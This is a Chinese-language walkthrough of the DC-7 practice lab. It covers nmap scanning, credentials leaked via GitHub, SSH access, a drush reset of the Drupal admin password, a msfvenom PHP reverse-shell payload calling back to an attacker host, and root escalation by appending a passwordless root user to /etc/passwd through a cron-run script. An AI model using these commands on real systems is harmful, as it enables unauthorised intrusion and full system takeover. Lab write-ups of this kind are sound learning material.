信息收集
主机发现
靶机测试常规起手式:)
nmap -sn 192.168.72.0/24
-sn和-sP都是对主机进行ping扫描
端口扫描
nmap -Pn -T4 -A -v -p- 192.168.189.137 --script=vuln
网站指纹扫描
通过网站指纹扫描发现该网站的中间件使用了apache2.4.25,使用的CMS是Drupal 8
python3 cmseek.py -u 192.168.189.137
使用searchsploit和msfconsole也没有查找到能有效利用的漏洞
目录扫描
漏洞利用
首先访问该网站的80端口
欢迎来到DC-7
DC-7引入了一些“新”概念,但是我将让您自己去弄清楚它们是什么。:-)
虽然这个挑战并不完全是技术性的,但是如果您需要诉诸于暴力破解或字典攻击,您可能不会成功。
你要做的,就是跳出思维定势去思考。
在盒子外面。:-)
对于这种登陆界面DC-1就碰到过,根据提示在先在搜索引擎上查找DC7USER用户信息,发先该用户是Twitter上用户
根据提示在Twitter上找到用户,并发现其分享的github连接
访问github
https://github.com/Dc7User/
使用git克隆staffdb
库,查看内容
git clone https://github.com/Dc7User/staffdb.git
发现是一个网站的源码内容
对网站源码进行查看,寻找有用的信息
在config.php文件中找了用户的登录信息
username = "dc7user";
password = "MdR3xOgB7#dW";
使用密码在网站登录尝试,发现不对
想到之前端口探测中对方开启了22端口,因此进行ssh登录,成功访问目标主机
ssh dc7user@192.168.189.137
提权操作
登录成功后发现有两个文件
通过文件名可知,backup应该是对网站的备份文件
进入backups文件夹,发现存在两个文件,都是gpg格式的,gpg是用来加密文件的
打开mbox文件发现是对网站执行备份的日志
发现执行备份的是/opt/scripts/backups.sh
并且是以root的身份执行
访问该地址,查看执行备份的shell脚本,发现该文件的拥有者是root,并且所属的用户组是www-data
通过查看备份脚本的内容,发现两个有意思的命令drush
和gpg
通过查找,发现:
gpg命令可以用来对文件进行加密
drush命令可以对drupal框架中用来做一些配置,它可以改变用户名密码
通过针对性信息提示,发现该网站存在admin
使用drush
修改admin用户的密码
!!!注意需要先切换至/var/www/html!!!!
cd /var/www/html
drush upwd admin --password=“admin”
重置密码后就可以在网站上登录
Brupal可以使用建立Basic page来获得shell
建立Basic page的路径如下:
Content–>Add content–>Basic page
通过查找资料获知drupal 8需要手动导入php过滤器模块
模块下载地址
下载tar.gz压缩文件
在Extend
中导入模块
启用php filter,勾选选项后,在最下方点击install
大功告成!!!
现在就可以返回创建Basic page页面,写入反弹shell的php代码
首先在kali上创建反弹shell的php木马
msfconsole
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.189.128 LPORT=7777 -f raw
使用msf开启监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lport 7777
写入php木马,并选择php code
!!!注意先选择php code后再粘贴木马!!!
成功获得反弹的shell
获得www-data身份就可以给之前找到的定时以root身份执行的backups
脚本写入提权命令了
在脚本中写入一个利用root身份执行的在passwd中追加空密码root权限用户的命令,等待执行
echo “echo ‘r00t::0:0:r00t:/root:/bin/bash’>> /etc/passwd” >>backups.sh
耐心等待后,终于在passwd中查到写入的用户,切换即可提权到root身份
合影